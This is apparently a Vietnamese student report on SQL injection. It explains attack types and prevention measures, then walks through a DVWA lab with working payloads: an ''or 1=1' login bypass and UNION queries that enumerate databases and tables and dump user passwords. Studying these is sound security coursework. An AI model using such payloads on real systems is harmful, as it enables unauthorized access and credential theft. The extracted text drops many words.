Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 44 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
44
Dung lượng
2,4 MB
Nội dung
HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA CÔNG NGHỆ THÔNG TIN ĐỒ ÁN MƠN HỌC CƠ SỞ AN TỒN THƠNG TIN Đề tài: TÌM HIỂU VỀ LỖ HỔNG SQL INJECTION Sinh viên thực hiện: PHAN TRỌNG KHIÊM - AT150329 VŨ THỊ THÙY LINH - AT150429 NGUYỄN ĐÌNH LÂM - AT150230 Nhóm 13 Giảng viên hướng dẫn: VŨ THỊ VÂN Mục lục LỜI MỞ ĐẦU CHƯƠNG CƠ SỞ LÝ THUYẾT 1.1 Giới thiệu .6 1.1.1 Cấu trúc website 1.1.2 Tầm quan trọng SQL hệ thống web .7 1.2 Phương thức yêu cầu HTTP POST 1.3 Tổng quan công SQL Injection .11 1.4 Các nguy từ lỗ hổng SQL Injection 14 1.5 Một số công thực tế 15 CHƯƠNG TẤN CÔNG SQL INJECTION VÀ CÁCH PHÒNG CHỐNG 18 2.1 Các kiểu công SQL Injection[7] 18 2.1.1 Các kỹ thuật công 20 2.1.1.1 Union-based[4] .20 2.1.1.2 Tautology 21 2.1.1.3 In-line Comments 22 2.1.1.4 End-of-Line Comment 23 2.1.1.5 Piggybacked Query .23 2.1.1.6 Error-based 24 2.1.1.7 System Stored Procedure .24 2.1.1.8 Illegal/Logically Incorrect Query .25 2.1.1.9 Time-based 26 2.1.1.10 Boolean-based 26 2.1.1.11 Out-of-band .27 2.2 Phương pháp phòng chống[6] .27 2.2.1 Xác thực liệu đầu vào người dùng nhập .27 2.2.2 Lọc liệu đầu vào cách giới hạn kí tự đặc biệt 28 2.2.3 Thực câu lệnh chuẩn bị tham số hóa 28 2.2.4 Sử dụng Thủ tục lưu trữ (Stored Procedure) sở liệu 29 2.2.5 Liên tục cập nhật vá bảo mật 29 2.2.6 Dùng tường lửa .29 2.2.7 Giảm thiểu mục tiêu công .29 2.2.8 Thiết lập quyền hạn hợp lí khả truy cập nghiêm ngặt .30 2.2.9 Mã hóa 30 2.2.10 Không tiết lộ nhiều cần thiết thông báo lỗi 30 2.2.11 Không sử dụng chung sở liệu tài khoản người dùng .30 2.2.12 Thường xuyên giám sát câu lệnh SQL, tiến hành kiểm thử định kì 31 CHƯƠNG THỰC NGHIỆM TẤN CÔNG SQL INJECTION 31 3.1 Mô tả môi trường thực nghiệm 31 3.2 Thực nghiệm công 32 3.2.1 Mô tả kịch 32 3.2.2 Các bước thực .33 TÀI LIỆU THAM KHẢO 41 LỜI MỞ ĐẦU Lý chọn đề tài Ở nước ta , khoa học kĩ thuật nói chung cơng nghệ thơng tin nói riêng phát triển vũ bão ứng dụng rộng rãi hầu hết lĩnh vực đời sống xã hội Một vấn đề đặt làm để đáp ứng nhu cầu trao đổi thông tin , quảng bá thông tin trực tuyến Từ nhu cầu thực tiễn , dẫn đến đời ứng dụng Web Ngày , ứng dụng Web tở thành phương tiện liên lạc hữu ích cho hàng triệu tổ chức , cá nhân doanh nghiệp, đối tác, khách hàng thay giao dịch thủ công truyền thống Chẳng hạn , ngày ta ngồi nhà mà thực dịch vụ kiểm tra tài khoản ngân hàng , đặt vé máy bay, mua sắm trực tuyến … Chính Website yếu tố giúp doanh nghiệp, tổ chức, cá nhân tăng cường hình ảnh trực tuyến giới Internet, tạo trì nhiều mối quan hệ đem lại lợi nhuận lâu dài với khách hàng tiềm khách hàng tại… Cùng với phát triển ứng dụng Web trở thành mực tiêu ưu thích kẻ cơng Các hình thức tân cơng đa dạng thay đổi nội dung trang web , công từ chối dịch vụ khiến cho việc truy nhập trang web thực khó thực hiện, chiếm quyền điều khiển trang web… Mục tiêu hacker khác nhau, cơng xuất phát từ thiện chí, nhằm tìm điểm yếu thông báo cho nhà quản trị hệ thống Nghiêm trọng công để phục vụ cho mục đích xấu tống tiền trang web, lấy cắp liệu nhạy cảm thơng tin thẻ tín dụng, mua hàng thơng qua tài khoản người khác Trong hình thức cơng cơng cách chèn mã lệnh ( injection) phổ biến Tân công website kĩ thuật SQL injection từ lâu mối quan tâm bảo mật hàng đầu nhà phát triển web chủ sở hữu website Giờ , cơng ngày trở nên khó phát ngăn chặn Số lượng vụ công nhằm vào sở liệu (CSDL) web lên tới số kỉ lục SQL Injection kiểu cơng có mục tiêu cụ thể thường mục tiêu đơn lẻ cho vụ cơng Chính mà vụ công thường không gây ý rộng rãi virus hay sâu máy tính (worm) Âm thầm thiệt hại vụ công lại lớn Nếu máy chủ sở liệu bị tin tặc chiếm quyền kiểm sốt có khối lượng lớn thơng tin cá nhân tài người dùng rơi vào tay chúng Và thành cơng nói nguồn thơng tin mà tin tặc thu nhiều hợn nhiều so với công phishing Tin tặc công giả mạo để lựa người sử dụng cung cấp thông tin cá nhân tài Tỉ lệ thành cơng vụ công SQL injection thường cao Trên thực tế phát triển mạnh mẽ giờ, ngày công nghệ thông tin kiểu công hacker ngày tinh vi , phức tạp khó ngăn chặn Xuất phát từ lý trên, chọn đề tài “ Tấn cơng SQL injection cách phịng chống “ Mục tiêu Mục tiêu đạt sau hoàn thành việc nghiên cứu đề tài: Giúp hiểu ứng dụng website, mối đe dọa vấn đề an tồn thơng tin làm việc ứng dụng web hàng ngày, hiểu rõ kĩ thuật công bảo mật web Xác định nguyên nhân , nhận diện xác đối tượng động cơ, cách thức kẻ tân công xâm nhập vào sở liệu Xác định mục tiêu, mối nguy hiêm thường trực an ninh ứng dụng web tổ chức Hiểu rõ khái niệm SQL injection phương thức hoạt động hacker thông qua lỗ hổng này, biết sử dụng phương pháp để kiểm tra an ninh bảo mật, từ đố đưa phương pháp phịng chống hiệu Phạm vi nghiên cứu Tìm hiểu kỹ thuật công phổ biến SQL injection Cách bảo mật phòng thủ kiểu công cách tổng quát Bố cục Chương 1: Cơ sở lý thuyết Chương 2: Tấn công SQL injection cách phòng chống Chương 3: Thực nghiệm công SQL ịnjection CHƯƠNG CƠ SỞ LÝ THUYẾT 1.1 Giới thiệu 1.1.1 Cấu trúc website Ngày với phát triển không ngừng khoa học công nghệ,ứng dụng web trở thành thứ thiếu, hữu tất thứ sống hàng ngày phần thiếu, từ cơng việc, mua sắm, giải trí, tin tức… Vậy website ? Website rập hợp trang web (web pages) bao gồm văn , hình ảnh, video, flash v.v… thường nằm tên miền (domain name) tên miền phụ (subdomain) World Wide Web Internet Trang web lưu trữ (web hosting) máy chủ web (web server) truy cập thông tin qua Internet Để website hoạt động tương tác với người dụng website đăng sau sở liệu nơi đáp ứng cung cấp thông tin cụ thể cần thiết từ phía yêu cầu người dung, yêu cầu thực thi từ phóa máy chủ phụ thuộc tương tác yêu cầu khác người sử dụng Một ứng dung phổ biến ứng dụng web hướng sở liệu ứng dụng thương mại điện tử, nơi mà hàng loạt thông tin lưu trữ sơ sở liệu , chẳng hạn thơng tin sản phẩn , chứng khốn, giá , giao dịch… Có lẽ quen thuộc với ứng dụng mua hàng hóa thực phẩm trực tuyến từ công ty bán lẻ trực tuyến internet Một ứng dụng web hướng sở liệu thông thường có ba tầng: Tầng trình diễn ( trình duyệt web hay chường trình máy tính), tầng logic( ngơn ngữ lập trình C#, PHP, JSP, APPS.NET ) tầng liệu ( sở liệu SQL Server, MySQL, Oracle, ) Các trình duyệt web ( tầng trình diên, chặng hạn Internet Explorer, Safari, Firefox, Chrome,…) gửi yêu cầu đến tầng (tầng logic) mà dịch vụ yêu cầu cách truy vấn cập nhật ngược lại sở liệu Đầu tiên tầng trình diễn: Là cấp ứng dụng , lớp tiếp xúc trực tiếp người sử dụng ứng dụng, thị thông tin liệu liên quan đến dịch vụ mà ứng dụng cung cấp ví dụ hàng hóa duyệt, hàng hịa mua thơng tin giỏ hàng truyền thơng với tầng khác việc xuất kết cho trình duyệt khách hàng tất tầng khác mạng Tầng logic: Là tầng trung gian tầng trình diên tầng liệu có nhiệm vụ điều khiển chức ứng dụng cách thực xử lý chi tiết Cuối tầng liệu: Là tầng chứa máy chủ sở liệu Ở , thông tin lưu trữ lấy Tầng giữ cho liệu độc lập với máy chủ ứng dụng tầng logic Làm cho liệu tầng cải thiện nhờ khả mở rộng tang suất 1.1.2 Tầm quan trọng SQL hệ thống web SQL công cụ quản lý liệu sử dụng phổ biến nhiều lĩnh vực Nếu bạn khơng có nhiều thời gian để nghiên cứu sâu tin học mà lại có nhiều liệu cần phải phân tích, xử lý, dùng SQL SQL đơn giản hiệu Hầu hết tất ngơn ngữ lập trình cấp cao có hỗ trợ SQL Có thể kể MS Visual Basic, MS Access, MS Visual Foxpro, DBase, DB2, Paradox, Oracle Đầu tiên SQL sử dụng ngôn ngữ quản lý sở liệu (CSDL) chạy máy đơn lẻ Do phát triển nhanh chóng nhu cầu xây dựng CSDL lớn theo mô hình khách/chủ (Client/Server), nhiều phần mềm sử dụng ngơn ngữ SQL đời mà điển hình MS SQL Server, Oracle, Sybase Trong mơ hình khách/chủ, tồn CSDL tập trung lưu trữ máy chủ (Server), thao tác xử lý liệu thực máy chủ lệnh SQL Máy trạm (Client) dùng để cập nhật liệu cho máy chủ lấy thông tin từ máy chủ Trên lĩnh vực phát triển Internet, ngôn ngữ SQL lại đóng vai trị quan trọng Nó sử dụng để nhanh chóng tạo trang Web động (Dynamic Web Page) Trang Web động thường có nội dung lấy từ CSDL SQL sử dụng chất keo kết dính CSDLvà trang Web Khi người dùng yêu cầu, SQL thực việc truy cập thông tin CSDL máy chủ hiển thị kết trang Web Và SQL công cụ để cập nhật thông tin cho CSDL Sau điểm qua số cơng dụng SQL Chọn lọc số cột định bảng liệu: Thường ta không sử dụng tất thông tin bảng lúc Có thể dùng SQL để tách cột cần thiết mà Lọc ghi theo tiêu chuẩn khác nhau: tách riêng hố đơn khách hàng đó, hay in danh sách nhân viên vài phòng ban Sắp xếp ghi theo tiêu chuẩn khác nhau: Mỗi loại báo cáo thường có yêu cầu xếp ghi theo cột khác để tiện cho việc theo dõi Có báo cáo thống kê xếp theo khách hàng, báo cáo khác lại xếp theo mặt hàng bán, tất thông tin nằm bảng Bán hàng Ta thực xếp theo nhiều cột khác SQL Cập nhật, xố ghi tồn bảng theo điều kiện khác nhau: ví dụ cần xố tồn hố đơn phát hành cách năm Kết hợp hai hay nhiều bảng theo chiều ngang: Trong CSDL, bảng lưu trữ thông tin đối tượng bảng liên hệ với qua trường khoá Dùng SQL để thực việc kết hợp bảng với thơng qua trường khố ví dụ để có bảng kết theo yêu cầu Nối hai hay nhiều bảng theo chiều dọc: liệu lớn phân tán nhiều nơi ta phải quản lý nhiều bảng theo mẫu, bảng cho quý, tháng công ty Khi cần tổng hợp liệu năm tổng cơng ty ta dùng SQL để nối bảng lại với Tạo bảng mới, thay đổi cấu trúc bảng có: phục vụ cho việc lập trình Thực phép tính tốn thống kê theo nhóm: tổng, trung bình, max, Đây chức thường xuyên sử dụng để tổng hợp thông tin trước in báo cáo tính tổng số lượng mặt hàng, số hàng bán cho khách hàng Kết nối với liệu máy chủ (Server): Khi kho liệu tập trung máy chủ MS SQL Server hay Oracle ta phải dùng lệnh SQL để trực tiếp thâm nhập vào sở liệu Kết hợp trang Web với CSDL lệnh SQL Có thể phân hai loại câu lệnh SQL, loại tổng hợp liệu sang bảng (bảng tồn nhớ ghi đĩa) loại cập nhật liệu, cấu trúc bảng có Bảng tạo từ câu lệnh SQL sử dụng nơi chương trình có u cầu liệu dạng bảng, đặc biệt dùng cho báo cáo (report), danh sách (list), đối tượng lưới (grid) 1.2 Phương thức yêu cầu HTTP POST POST phương thức HTTP thiết kế để gửi liệu đến máy chủ từ máy khách HTTP Phương thức HTTP POST yêu cầu máy chủ web chấp nhận liệu bao gồm nội dung thông báo POST Phương thức HTTP POST thường sử dụng gửi biểu mẫu đăng nhập liên hệ tải tệp hình ảnh lên máy chủ 10 2.2 Phương pháp phòng chống[6] 2.2.1 Xác thực liệu đầu vào người dùng nhập Xác thực liệu đầu vào bước để ngăn chặn SQL injection Xác định câu lệnh thiết yếu thiết lập danh sách cho tất câu lệnh SQL hợp lệ (whitelist), bỏ qua câu lệnh chưa xác thực câu truy vấn Quá trình gọi xác thực đầu vào thiết kế truy vấn Hơn nữa, ta nên tùy chỉnh đầu vào cho liệu người dùng bối cảnh Ví dụ, trường nhập vào cho địa email lọc cho phép kí tự địa email kí tự bắt buộc “@” Tương tự số điện thoại hay số cước công dân cho phép số từ đến Dù hành động khơng ngăn chặn cơng SQL injection rào cản với chiến thuật dị tìm hay thu thập liệu cho cơng SQL injection, 2.2.2 Lọc liệu đầu vào cách giới hạn kí tự đặc biệt Vì người cơng sử dụng kí tự đặc biệt để cơng sơ liệu, lọc liệu không cho phép nối chuỗi điều tiên Một cách để làm việc tùy chỉnh liệu nhập vào người dùng tới hàm MySQL’s mysql_real_escape_string() Làm việc đảm bảo kí tự nguy hiểm dấu ngoặc đơn (‘) không truyền vào câu truy vấn SQL Phương thức để tránh câu truy vấn khơng hợp lệ sử dụng câu lệnh chuẩn bị (prepare statements) với câu truy vấn tham số hóa (parameterized queries) 2.2.3 Thực câu lệnh chuẩn bị tham số hóa Việc xác thực đầu vào lọc liệu không đủ Điều tiên phải sử dụng câu lệnh chuẩn bị sẵn với câu truy vấn tham số hóa hay cịn gán biến, để viết tất câu truy vấn sở liệu Bằng cách định nghĩa tất code SQL liên quan đến truy vấn, hay tham số hóa, ta phân biệt liệu đầu vào người dùng nhập code Câu lệnh chuẩn bị đảm bảo người cơng khơng có khả thay đổi mục địch câu truy vấn dù câu lệnh SQL thêm vào người 30 cơng, coi câu lệnh SQL độc hại liệu câu lệnh thực thi tiềm tàng 2.2.4 Sử dụng Thủ tục lưu trữ (Stored Procedure) sở liệu Tương tự tham số hóa, sử dụng thủ tục lưu trữ yêu cầu gán biến Không câu lệnh chuẩn bị ,câu lệnh định nghĩa thủ tục lưu trữ nằm sở liệu gọi từ ứng dụng web Thủ tục lưu trữ lúc an toàn trước SQL injection SQL động sử dụng Hai phương pháp 2.2.3 2.2.4 không đủ tối ưu để có bảo vệ sở liệu trước công vào sở SQL injection Ta nên kết hợp phương pháp phòng chống với để đạt hiệu tối ưu 2.2.5 Liên tục cập nhật vá bảo mật Các lỗ hổng ứng dụng sở liệu mà khai thác sử dụng SQL injection thường phát thường xuyên cơng khai nhóm nghiên cứu bảo mật Đây điều tối quan trọng cho tổ chức phải cập nhật thông tin thường xuyên cập nhật vá để ngăn chặn lỗ hổng bị khai thác sớm tốt Với SQL injection có nghĩa tất thành phần ứng dụng web bao gồm sở liệu, frameworks, thư viện (libraries), plug_ins, server cập nhật thường xuyên 2.2.6 Dùng tường lửa Sử dụng tường lửa WAF (Web Application Firewall) dành cho phần mềm ứng dụng web để giúp lọc liệu độc hại Tường lửa ngày bao gồm NGFW FwaaS có luật đầy đủ chuyên sâu thay đổi cần Nếu vá cập nhật chưa có sẵn, tường lửa có ích việc ngăn chặn cơng Module mã nguồn mở, miễn phí ModSecurity có sẵn cho Apache, Microsoft IIS nginx web server, cung cấp luật tiên tiếp chi tiếp để lọc mối hiểm họa tiềm đến web requests, chế bảo vệ SQL injection ngăn chặn hầu hết cách truy cập vào SQL thông qua kênh web 31 2.2.7 Giảm thiểu mục tiêu công Với công SQL injection, điều có nghĩa bỏ tính sở liệu mà ta không cần khơng cần phải bảo vệ Ví dụ điển hình thủ tục lưu trữ xp_cmdshell, thủ tục có gọi shell Window truyền chuỗi để thực thi Vì tiến trình Windows tạo xp_cmdshell có quyền bảo mật tài khoản dịch vụ SQL server, người cơng gây nên thiệt hại lớn 2.2.8 Thiết lập quyền hạn hợp lí khả truy cập nghiêm ngặt Với tổ chức, sở liệu cốt lõi, trái tim tổ chức để hoạt động, điều cần thiết phải thiết lập sách truy cập với luật lệ nghiêm ngặt Nếu trang web cần sử dụng câu lệnh SELECT đến sở liệu khơng nên có quyền INSERT, UPDATE, DELETE Hơn nữa, sở liệu nên truy cập với quyền admin cần thiết Sử dụng tài khoản giới hạn truy cập an toàn cho hoạt động đồng thời giới hạn khả truy cập người công hệ thống bị xâm nhập 2.2.9 Mã hóa Ln ln khẳng định ứng dụng sử dụng internet khơng an tồn, mã hóa thơng tin nhạy cảm mật điều cần thiết Điều chuyển hóa vấn đề bảo vệ liệu thành bảo vệ khóa mật mã 2.2.10 Khơng tiết lộ nhiều cần thiết thơng báo lỗi Người cơng có học nhiều thông tin sở liệu thông qua thông báo lỗi, ta cần đảm bảo thơng báo lỗi hiển thị tối thiểu thơng tin Việc sử dụng “RemodeOnly” chế độ tạo thông báo lỗi tùy chỉnh đảm người cơng bên ngồi có biết thơng tin đợt công họ gây lỗi không tiết lộ thêm Việc bảo vệ cấu trúc bên sở liệu, tên bảng, tài khoản 32 2.2.11 Không sử dụng chung sở liệu tài khoản người dùng Việc chia sẻ sở liệu nhiều website ứng dụng dẫn tới thảm họa, đồng nghĩa tài khoản người dùng Việc chia sẻ cung cấp linh hoạt việc quản lí đồng thời tạo nguy tiềm tàng khơng cần thiết Lý tưởng là, server kết nối với có kết nối tối thiểu đến server cần kết nối truy cập liệu cần thiết 2.2.12 Thường xuyên giám sát câu lệnh SQL, tiến hành kiểm thử định kì Bằng cách có giám sát thường xuyên câu lệnh SQL, sở liệu kết nối với ứng dụng bao gồm tài khoản sở liệu, thủ tục, … người quản trị biết xảy hệ thống đưa giải pháp để đảm bảo khơng có bất thường xảy Các công cụ giám sát dựa machine learning hay phân tích hành vi SIEM (Security Information and Event Management) hay PAM (Privvileged Access Management) trợ thủ đắc lực để nâng cao bảo mật mạng CHƯƠNG THỰC NGHIỆM TẤN CƠNG SQL INJECTION 3.1 Mơ tả môi trường thực nghiệm Để thực nghiệm công SQL INJECTION ta chuẩn bị trang web mắc lỗ hổng sql phần mềm DVWA cho phép ta thực hành thử nghiệm công với nhiều mức độ khác Sau giao diện công cụ sử dụng demo: 33 Hình 1: Giao diện đăng nhập website Hình 1: Giao diện demo công sql injection DVWA 3.2 Thực nghiệm công 3.2.1 Mô tả kịch Phần 1: Sử dụng SQL injection công vượt qua đăng nhập trang web 34 - Để vượt qua đăng nhập trang web ta cần chèn thêm chuỗi 'or 1=1 - vào trường input username password Phần 2: Sử dụng công cụ DVWA demo công khai thác thông tin,dữ liệu từ CSDL mySQL -Ta truyền chuỗi vào dịng input User ID để thu thơng tin sau: - Để lấy phiên bản(version): 'union select 1,version() - Lấy user đăng nhập tại: 'union select 1,user() - Lấy tên sở liệu: 'union select 1,database() - Lấy cổng truy cập mysql: 'union select 1,@@port - Lấy tất CSDL có MySQL: 'UNION select table_schema,null from information_schema.tables - Lấy bảng có CSDL ‘DVWA’: 'UNION select table_name,null information_schema.tables from where table_schema='dvwa'— - Lấy tất cột có bảng users: 'UNION select table_name,column_name information_schema.columns from where table_name='users' Lấy tên tài khoản mật tất người dùng bảng users: 35 'UNION select user,password from users 3.2.2 Các bước thực Phần 1: Sử dụng SQL injection công vượt qua đăng nhập trang web Bước 1: Truy cập trang web chuẩn bị sẵn chứa lỗi lỗ hổng SQL injection Hình 1: Giao diện đăng nhập website Bước 2: Thử đăng nhập với tài khoản mật không thuộc CSDL website Vd: username = loginweb Password = 123456 -Sau điền thông tin đăng nhập tiến hành click vào login ta thu thông báo đăng nhập thất bại.Nguyên nhân user password ta nhập khơng xác 36 Hình 2: Kết sau login với thơng tin đăng nhập khơng xác Bước 3: Tiến hành công vượt đăng nhập với SQL injection Việc truyền câu truy vấn” 'or 1=1 - ” username password để làm câu truy vấn trở nên true (luôn đúng) giúp ta đăng nhập vào trang web cách dễ dàng Để hiểu rõ đưa câu truy SQL mà phía trang web xử lí để đăng nhập Sql = SELECT `Username`, `Password` FROM `users` WHERE Username='$username' AND Password='$password'; =>SQL sau thêm chuỗi 'or 1=1 - vào ô username biến $username nhận giá trị 'or 1=1 - ta thu câu truy thay đổi sau: Sql = WHERE SELECT `Username`, Username=''or `Password` 1=1 - FROM ' `users` AND Password='$password'; 37 Hình 3: Như ta đăng nhập thành công vào hệ thống vượt qua đăng nhập trang web Phần 2: Sử dụng công cụ DVWA demo công khai thác thông tin,dữ liệu từ CSDL mySQL Bước 1: Truy cập DVWA tiền hành đăng nhập chọn SQL injection ta có giao diện sau: 38 Hình 1: Giao diện demo cơng sql injection DVWA Bước 2: Lần lượt truyền chuỗi vào dòng input User ID để khai thác Cụ thể: Để lấy phiên bản(version) database ta việc đưa chuỗi sau vào ô Input User ID: 'union select 1,version() Kết thu được: Phiên database : 10.4.17 Thực tương tự với khai thác sau: - Lấy user đăng nhập tại: 'union select 1,user() - 39 - Lấy tên sở liệu: 'union select 1,database() - - Lấy cổng truy cập mysql: 40 'union select 1,@@port - Sau thu thông tin ta tiến hành khai thác thơng tin có CSDL có tên DVWA 1.Lấy tất CSDL có MySQL: 'UNION select table_schema,null from information_schema.tables - 2.Lấy bảng có CSDL ‘DVWA’: 'UNION select table_name,null from information_schema.tables where table_schema='dvwa' 41 3.Lấy tất cột có bảng users: 'UNION select table_name,column_name from information_schema.columns where table_name='users' 4.Lấy tên tài khoản mật tất người dùng bảng users: 'UNION select user,password from users - 42 TÀI LIỆU THAM KHẢO [1] Khaleel Ahmad ,Jayant Shekhar and K.P.Yadav, VSRD-TNTJ, Vol I (4), 2010, 235-242, Classification of SQL Injection Attacks, https://www.researchgate.net/publication/316886377_A_study_on_SQL_injecti vulneraon_techniques [2] OWASP, SQL Injection Prevension Cheat Sheet, https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat _Sheet.html [3] OWASP, Injection/ [4] A03:2021-Injection, https://owasp.org/Top10/A03_2021- EC-Council CEH Program, CEHv10 Modules 15 SQL Injection [5] PortSwigger, SQL Injection, https://portswigger.net/web-security/sqlinjection [6] Paul Rubens, How to Prevent SQL Injection Attacks, March 11, 202, https://www.esecurityplanet.com/threats/how-to-prevent-sql-injection-attacks/ 43 [7] Offensive Security, Advanced Web Attacks And Exploitation, July-August 2016, Black Hat USA 44 ... 944 lỗ hổng thêm vào năm 2006 SQL injection chiếm 13, 6 % tất lỗ hổng mà CVE báo cáo năm 2006, đứng sau lỗ hổng cross-sitescripting đứng trước lỗ hổng tràn đệm (buffer overflow) Tháng năm 2006,... tin lỗ hổng mà đƣợc biết cách cơng khai cung cấp phân tích thống kê xu hướng bảo mật Trong báo cáo năm 2007 mình, CVE liệt kê danh sách 1754 lỗ hổng SQL injection sở liệu hộ số có 944 lỗ hổng. .. chạy tiềm ẩn lỗ hổng bảo mật lớn Một số lỗ hổng SQL injection Tại Việt Nam , qua thời kì quản trị website lo việc quét virus, cập nhật vá lỗi từ phần mềm hệ thống, việc chăm sóc lỗi ứng dụng